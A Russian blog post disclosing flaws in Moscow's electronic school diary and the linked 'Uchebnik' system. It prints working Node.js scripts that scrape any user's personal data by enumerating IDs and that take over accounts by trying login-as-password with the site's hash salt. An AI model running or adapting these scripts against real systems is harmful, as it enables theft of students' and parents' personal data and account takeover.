Уязвимость в электронном дневнике или как украсть персональные данные 2-х миллионов пользователей

В предыдущей статье я рассказал про особенность генерации логинов и паролей в электронном дневнике, разработанном ДИТ'ом. Используя её, кто угодно мог получить доступ к любому чужому аккаунту и после просмотреть оценки ученика, изменить оценки учащихся от имени учителя, получить персональные данные владельца аккаунта или совершить любые другие действия от имени пользователей. Всем учителям сменили пароли, но остались ученики и родители со старыми паролями.

В этой статье пойдет речь о багах/уязвимостях в том же проекте.

Учитывая выше описанную особенность генерации логинов, можно было сделать вывод, что дневник разрабатывался не очень ответственно. Поэтому я решил попробовать поломать его ещё раз. Вся система состояла из фронтенда, который был написан на Angular. Он получал информацию с помощью API дневника, в котором и были найдены уязвимости/баги.


При получении пользовательских данных, отправлялся запрос по адресу dnevnik.mos.ru/lms/api/users/{user-id}. К запросу также надо было добавить токен, идентификатор профиля в виде header’ов для получения ответа. Ответ возвращался в формате JSON и состоял из: фамилии, имени, отчества, почты, телефона, прав пользователя (ученик/учитель/родитель), даты рождения, пола, списка профилей, привязанных к пользователю, и логина.
6ddc5d94e90c47c1bb7641084d3b6f85.png
Наверное, разработчики хотели, чтобы пользователь с правами ученика мог получать данные только о себе, а учитель о себе и об учениках, но получилось, что пользователь с любой привилегией мог получать информацию о любом другом пользователе. Получился короткий скрипт на Node.

Эксплуатация
var fs = require('fs');
var request = require('request');
var i = 1;

var interval = setInterval(function() {
  parse(i);
  i += 10;
  if (i > lastId) // идентификатор пользователя, на котором необходимо закончить
    clearInterval(interval);
}, 200);

var parse = function (i) {
  for (var j = i; j < i + 10; ++j)
  request.get({url: "https://dnevnik.mos.ru/lms/api/users/" + j, headers: {'Accept': 'application/vnd.api.v2+json', 'Auth-Token': '********************************', 'Profile-Id': '*****'}}, function(err, res, body) {
    if (err)
      return console.error('upload failed:', err);
    fs.appendFileSync('out.txt', body + '\n');
  });
};



Как вы уже, я думаю, заметили, данных было очень много, и, скорее всего, владелец аккаунта был бы не доволен, если бы его телефон, почту и персональные данные получил бы левый человек, который мог бы использовать их не для благих целей.
После нахождения первого бага я получил логины небольшого количества пользователей и решил проверить, сменили ли всем пользователям пароли (раньше логины и пароли всех пользователей был одинаковыми). Однако, после случая с нахождением особенности, разработчики сделали для учеников и родителей авторизацию через портал государственных услуг — для того, чтобы зайти в дневник, надо было: авторизоваться на портале гос. услуг, один раз (при первой авторизации) ввести логин, пароль от дневника и нажать кнопку «Войти». При авторизации нас перенаправляли в МРКО (еще один электронный дневник от ДИТ'a или МЦКО) с логином и паролем, там нам выдавали токен и перенаправляли в дневник (о котором сейчас идет речь). Из-за этого авторизация была немного долгой, и я решил пойти другим путем.

Я вспомнил о еще одном проекте ДИТ'а, связанным с образованием, в котором использовалась авторизация с помощью логинов и паролей от МРКО и дневника, — система электронных учебников. Через «Учебник» авторизация происходила быстрей, чем через МРКО, и еще одна замечательная особенность была в «Учебнике». Она состояла в том, что при авторизации через «Учебник» выдавали токен, который можно было использовать и в дневнике, и в «Учебнике».

Эксплуатация
var request = require('request');
var fs = require('fs');
var crypto = require('crypto');

var md5 = function(str) {
  return crypto.createHash('md5').update(str).digest("hex");
};

var min = function(a, b) {
  if (a > b) return b;
  else return a;
}

var authorize = function(login, pass) {
  request({
      uri: 'https://uchebnik.mos.ru/api/sessions',
      method: 'POST',
      json: {"login": login, "second_factor":"", "password_hash": md5(pass + "4f8202ccd76210b47b40627c621daa56"), "password_hash2": md5(pass)},
      headers : {
        'Accept' : 'application/json',
        'Content-Type' : 'application/json'
      }
  }, function (error, response, body) {
    if (!error) {
      if (body.type != null && body.type == 'authentication_error')
        return 0;
      else {
        console.log("Bad login was found :)");
        fs.appendFile('auth.txt', JSON.stringify(body) + '\n');
      }
    } else {
      return console.error("Error: ", error);
    }
  });
};

fs.readFile('out.txt', function read(err, data) {
  if (err)
    throw err;
  else
    console.log("File was read");
  data = data.toString();
  var arr = data.split('\n');
  var i = 0;
  var interval = setInterval(function() {
    if (i > arr.length)
      clearInterval(interval);
    for (var j = i; j < min(i + 1, arr.length); ++j) {
      var login;
      try {
        login = JSON.parse(arr[i]).gusoev_login;
      } catch(e) {}
      authorize(login, login);
    }
    i += 10;
  }, 100);
});



После проверки совпадения логинов и паролей на небольшом количестве пользователей выяснилось, что у ~15% пользователей логины и пароли одинаковые. Также после случая, описанного в статье, некоторым ученикам выдали новый пароль, состоящий из даты рождения. Например, если ваша дата рождения была 1 февраля 2000 года, тогда ваш пароль мог бы быть — 01022000. Я проверил ещё есть ли пароли такие же, что и даты рождения, и у каких-то пользователей они к несчастью были.

Из этого можно сделать вывод, что о безопасности аккаунтов учеников и родителей заботятся меньше, чем об аккаунтах учителей. Вроде бы, понятно почему — если получат доступ к аккаунту учителя, ущерб будет больше, но ведь ученики и родители тоже не будут довольны, если их оценки, телефон, персональные данные получат люди, который не должны иметь возможность их получить.


Из того, что МРКО может проверить со своего сервера, верный ли логин, пароль от дневника (о котором идет речь), а «Учебник» может проверить логин, пароль от МРКО и дневника или выдать токен, который будет работать не только в «Учебнике», но и в дневнике, можно сделать предположение, что все три эти системы хранят данные в одной базе, и из-за чего возникают проблемы. Позже я выяснил, что дневник выдает в списках профилях профили от дневника и от МРКО — к одному «живому» пользователю может быть привязано несколько учетных записей, и один «живой» пользователь может иметь учетную запись и в МРКО, и в дневнике. Для каждой учетной записи есть логин, пароль, которые можно использовать в той системе, для которой была создана учетная запись, или в «Учебнике».

Третий баг был бы нерабочим, если бы токен от «Учебника» нельзя было использовать для авторизации в дневнике. Он заключается в том, что при авторизации в систему (в «Учебник») токен привязывается к первой учетной записи в списке профилей пользователя. Из-за этого, если первая учетная запись была создана для дневника, то токен можно использовать для получения доступа в дневник. В итоге, зная логин, пароль одного человека от МРКО, можно было получить доступ к его аккаунту в дневнике.


После нахождения трёх выше описанных уязвимостей/багов, я написал в тех. поддержку, и их закрыли. Четвертый баг почти такой же, что и первый. Он заключается в том, что пользователь с любыми правами может получить пользовательские данные любого пользователя, отправив запрос на uchebnik.mos.ru/api/users/{user-id} с токеном и идентификатором профиля.

Четвёртый баг и особенность генерации логинов и паролей закрывать не хотели, но думаю, что после этой публикации, хотя бы четвертый исправят.

© Habrahabr.ru